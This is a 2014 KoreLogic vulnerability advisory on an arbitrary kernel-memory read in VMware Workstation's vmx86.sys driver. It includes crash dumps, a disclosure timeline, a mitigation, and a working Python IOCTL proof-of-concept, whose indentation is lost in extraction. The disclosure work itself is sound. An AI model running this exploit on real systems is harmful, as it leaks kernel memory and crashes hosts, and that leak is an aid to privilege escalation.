Title: VMWare vmx86.sys Arbitrary Kernel Read
Advisory ID: KL-001-2014-004
Publication Date: 2014.11.04
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-004.txt
Vulnerability Details
Affected Vendor: VMWare
Affected Product: Workstation
Affected Version: 10.0.0.40273
Platform: Microsoft Windows XP SP3 x86, Microsoft Windows Server 2003 SP2 x86, Microsoft Windows 7 SP1 x86
CWE Classification: CWE-20: Improper Input Validation
Impact: Arbitrary Read, Denial-of-Service
Attack vector: IOCTL
Vulnerability Description
A vulnerability within the vmx86 driver allows an attacker
to specify a memory address within the kernel and have the
memory stored at that address be returned to the attacker.
Technical Description
The first four bytes of the InputBuffer parameter passed
to DeviceIoControl is used as the source parameter in a memcpy
call. The InputBuffer must be a minimum of eight bytes long in
order to trigger the vulnerability. The OutputBuffer parameter
passed to DeviceIoControl is used as the destination address
for the output from the DeviceIoControl call. In this case,
the data returned is the same data residing at the source
paramter of memcpy. This can therefore be abused in a way
that allows an attacker to arbitrarily define a kernel address,
and have the memory stored at that address be returned to the
attacker at an address residing in userland.
Probably caused by : vmx86.sys ( vmx86+bd6 )
kd> .symfix;.reload;!analyze -v
Loading Kernel Symbols
…
…
…
Loading User Symbols
…
Loading unloaded module list
…
*
Bugcheck Analysis *
*
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ffff0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
kd> .frame /c 04; .cxr; .frame /c 03; .cxr; .frame /c 02
04 822e48f8 82c70593 vmx86+0x129a
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=9357329a esp=822e48d4 ebp=822e48f8 iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
vmx86+0x129a:
9357329a eb63 jmp vmx86+0x12ff (935732ff)
Resetting default scope
03 822e48cc 9357329a vmx86+0xbd6
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=93572bd6 esp=822e4860 ebp=822e48cc iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
vmx86+0xbd6:
93572bd6 83c40c add esp,0Ch
Resetting default scope
02 822e4858 93572bd6 nt!memcpy+0x33
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
nt!memcpy+0x33:
82c727f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
By using the provided proof-of-concept code, an attacker
can read data from arbitrary kernel memory addresses. As an
example, the value of the first entry in HalDispatchTable is
read. Below is the debugger output, followed by the stdout
from the proof-of-concept code.
0:000> g
ModLoad: 76170000 7618f000 C:\Windows\system32\IMM32.DLL
ModLoad: 77600000 776cc000 C:\Windows\system32\MSCTF.dll
ModLoad: 1d1a0000 1d1b8000 C:\Python27\DLLs\_ctypes.pyd
ModLoad: 77440000 7759c000 C:\Windows\system32\ole32.dll
ModLoad: 75c60000 75cef000 C:\Windows\system32\OLEAUT32.dll
ModLoad: 77950000 77955000 C:\Windows\system32\Psapi.DLL
ModLoad: 01980000 01d92000 C:\Windows\system32\ntkrnlpa.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340
eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
778570b4 c3 ret
0:000> db 0x25 L?0x4
00000025 a2 68 04 83
[+] Handle \\.\vmx86 @ 120
[+] HalDispatchTable+0x4(0x82d383fc) == 830468a2
Mitigation and Remediation Recommendation
A patch is not likely to be forthcoming from the vendor. It
is recommended not to allow users access to the vmware
group unless they are trusted with LocalSystem privileges.
Credit
This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.
Disclosure Timeline
2014.08.08 - Initial contact; sent VMWare report and PoC.
2014.08.08 - VMWare acknowledges receipt of vulnerability
report.
2014.08.15 - VMWare asks for clarification on the PoC.
2014.08.18 - KoreLogic responds to VMWare's request.
2014.08.18 - VMWare counters that it is the expected behavior
for members of the vmware group to be able to
read arbitrary memory. Asks KoreLogic to describe
the "actionable security item here."
2014.08.20 - KoreLogic advises VMWare that providing non-admin
user accounts with the unmitigated ability to dump
the contents of the kernel memory is a security
risk.
2014.08.20 - VMWare suggests modifying the documentation
describing the capabilities of the vmware
group as a solution.
2014.08.21 - KoreLogic provides VMWare with a mitigation
strategy and describes how to patch the
vulnerability. KoreLogic requests that a CVE be
issued.
2014.08.25 - VMware states they will continue to review the
vulnerability details.
2014.09.24 - KoreLogic informs VMWare that 30 business days
have passed since vendor acknowledgement of the
initial report. KoreLogic requests CVE number for
the vulnerability, if there is one. KoreLogic also
requests vendor's public identifier for the
vulnerability along with the expected disclosure
date.
2014.09.26 - VMWare responds that they will contact KoreLogic
"next week."
2014.10.08 - KoreLogic reaches out to VMWare as more than 1 week
has elapsed since the last response.
2014.10.13 - VMWare responds that they have decided the reported
vulnerability is not a security issue. VMWare
creates a Knowledge Base article comparing the
vmware group to a Microsoft Windows Power User
account.
2014.10.14 - 45 business days have elapsed since the
vulnerability was reported to VMWare.
2014.10.14 - KoreLogic requests a CVE for this vulnerability
report.
2014.10.22 - MITRE asks KoreLogic to clarify the vendor's
response to the KoreLogic report.
2014.10.22 - KoreLogic responds with a summary of VMWare's
responses to the KoreLogic report.
2014.10.22 - MITRE responds that there will be no CVE issued for
this report, as the vendor is "entitled to define a
security policy in which this read access is
considered an acceptable risk."
2014.11.04 - Public disclosure.
Proof of Concept
The code presented below will trigger the issue by forcing
memory to be read from a blatantly invalid address of
0xffff0000.
#!/usr/bin/python2
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[!] Could not open handle, is user part of the vmware group?"
exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40)
buf = pack('<L',0xcccccccc)*100
WriteProcessMemory(-1,0x100,buf,len(buf),byref(c_int(0)))
inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141)
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x75,0xff)
if (GetLastError() != 0):
print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
exit(1)
CloseHandle(handle)
The contents of this advisory are copyright(c) 2014
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt